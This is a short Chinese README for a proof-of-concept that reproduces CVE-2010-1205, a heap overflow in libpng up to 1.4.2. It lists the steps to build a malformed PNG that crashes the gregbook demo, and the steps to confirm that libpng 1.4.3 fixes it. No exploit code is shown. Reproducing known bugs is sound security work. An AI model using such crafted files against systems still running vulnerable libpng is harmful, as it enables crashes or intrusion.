利用 libpng (<=1.4.2) 中 CVE-2010-1205 漏洞的示例漏洞利用代码
gregbook - 随 libpng 源码分发的一组示例程序
generate - 生成恶意 PNG 文件,在用 libpng 读取时触发堆溢出
复现步骤: ./build.sh # 构建所有库和可执行文件。gregbook/rpng2-x 链接的是有问题的 libpng-1.4.2 ./generate/build/generate # 生成 xploit.png - 畸形的 png 文件 cd gregbook/ ./rpng2-x ../xploit.png # 运行示例,展示如何使用 libpng 显示 png 文件。以段错误结束。
使用修复后的 libpng 版本 (1.4.3) 运行的步骤: 在 gregbook/Makefile 中编辑第33行: PNGDIR = ../libpng-1.4.3 在 gregbook 目录下运行: make clean && make ./rpng2-x ../xploit.png # 打开窗口显示该 png 文件